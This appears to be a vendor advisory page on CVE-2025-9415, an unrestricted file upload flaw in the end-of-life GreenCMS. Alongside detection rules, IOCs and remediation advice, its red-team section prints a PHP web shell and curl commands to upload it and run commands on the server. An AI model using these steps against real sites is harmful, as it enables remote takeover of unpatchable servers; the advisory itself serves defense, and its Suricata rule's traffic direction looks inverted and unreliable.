CVE-2025-9415
Executive Summary
CVE-2025-9415 is a critical unrestricted file upload vulnerability affecting GreenCMS versions up to 2.3.0603. The flaw resides in the /index.php?m=admin&c=media&a=fileconnect endpoint, where the upload[] argument is not properly sanitized, allowing an attacker to upload arbitrary files, including web shells. This vulnerability is remotely exploitable and has a public proof-of-concept (PoC). The product is end-of-life and no longer supported, meaning no official patch will be released. The CVSS score is 6.3 (Medium), but the actual risk is higher due to the potential for full server compromise.
Note: This is not a WordPress plugin or component; it is a standalone CMS.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct vulnerability in the GreenCMS PHP application.
CVSS Breakdown & Threat Level
- CVSS Score: 6.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High (due to public exploit and no patch)
Deep Dive & Mechanics
The vulnerability is a classic unrestricted file upload (CWE-434). The endpoint /index.php?m=admin&c=media&a=fileconnect is used for media file management. The upload[] parameter is passed to a file handling function that does not validate the file type, extension, or content. An attacker can send a POST request with a malicious file (e.g., a PHP web shell) in the upload[] parameter. The file is then saved to the server's web root or an accessible directory, allowing remote code execution.
The exploit is publicly available and trivial to execute. Since the product is end-of-life, no patch will be released, making all installations vulnerable.
Vulnerable vs. Patched Code
Vulnerable Code (GreenCMS <= 2.3.0603): The vulnerable code likely resides in a file handling function that directly saves the uploaded file without validation. A simplified example:
// Vulnerable: No file type validation
$uploaded_file = $_FILES['upload']['tmp_name'];
$target_path = 'uploads/' . $_FILES['upload']['name'];
move_uploaded_file($uploaded_file, $target_path);
Patched Code (Not available): A patched version would include checks for file extension, MIME type, and content validation:
// Patched: Validate file extension and MIME type
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$file_extension = strtolower(pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
die('Invalid file type.');
}
$uploaded_file = $_FILES['upload']['tmp_name'];
$target_path = 'uploads/' . uniqid() . '.' . $file_extension;
move_uploaded_file($uploaded_file, $target_path);
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Target running GreenCMS <= 2.3.0603
- Access to the admin panel (or the endpoint may be accessible without authentication)
Exploit Steps:
- Prepare a PHP web shell (e.g.,
shell.php):
<?php system($_GET['cmd']); ?>
- Send a POST request to the vulnerable endpoint:
curl -X POST -F "upload[]=@shell.php" http://target.com/index.php?m=admin&c=media&a=fileconnect
- Access the uploaded shell:
curl http://target.com/uploads/shell.php?cmd=id
Expected Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Blue Team (Defense & Detection)
Detection Steps:
- Monitor for POST requests to
/index.php?m=admin&c=media&a=fileconnectwith file uploads. - Check for unexpected files in the
uploads/directory, especially.php,.phtml,.php5files. - Review web server logs for suspicious file access patterns.
Hunting Queries:
- Search for files with double extensions (e.g.,
image.php.jpg). - Look for files created in the
uploads/directory with non-image extensions.
Indicators of Compromise (IOCs)
- File Paths:
/uploads/shell.php/uploads/*.php/uploads/*.phtml
- Network Indicators:
- POST requests to
/index.php?m=admin&c=media&a=fileconnectwithContent-Type: multipart/form-data - Subsequent GET requests to
/uploads/*.php?cmd=...
- POST requests to
- Log Entries:
POST /index.php?m=admin&c=media&a=fileconnect HTTP/1.1with file uploadGET /uploads/shell.php?cmd=id HTTP/1.1with 200 response
Detection Engineering
YARA Rule
rule CVE_2025_9415_GreenCMS_Upload {
meta:
description = "Detects web shell upload attempts targeting GreenCMS CVE-2025-9415"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9415"
strings:
$php_shell = "<?php" ascii wide nocase
$cmd_param = "cmd=" ascii wide nocase
$upload_param = "upload[]" ascii wide nocase
condition:
$upload_param and $php_shell and $cmd_param
}
Sigma Rule
title: GreenCMS Unrestricted File Upload (CVE-2025-9415)
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-9415 via file upload
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/index.php?m=admin&c=media&a=fileconnect'
cs-content-type: 'multipart/form-data'
condition: selection
falsepositives:
- Legitimate media uploads by admin
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9415 GreenCMS Unrestricted File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/index.php?m=admin&c=media&a=fileconnect"; http_uri; content:"multipart/form-data"; http_client_body; fileext:".php"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate or decommission any GreenCMS instances as they are end-of-life and unpatchable.
- Implement a Web Application Firewall (WAF) rule to block POST requests to
/index.php?m=admin&c=media&a=fileconnectwith file uploads. - Restrict file uploads to only allow specific image extensions (e.g., jpg, png, gif) using server-side validation.
- Disable PHP execution in the uploads directory via
.htaccess:
<FilesMatch "\.php$">
Deny from all
</FilesMatch>
- Monitor logs for any signs of exploitation.
Long-Term Recommendations:
- Migrate to a supported CMS.
- Conduct a full security audit of any remaining GreenCMS installations.
- Implement a file integrity monitoring (FIM) solution to detect unauthorized file changes.
Valters IT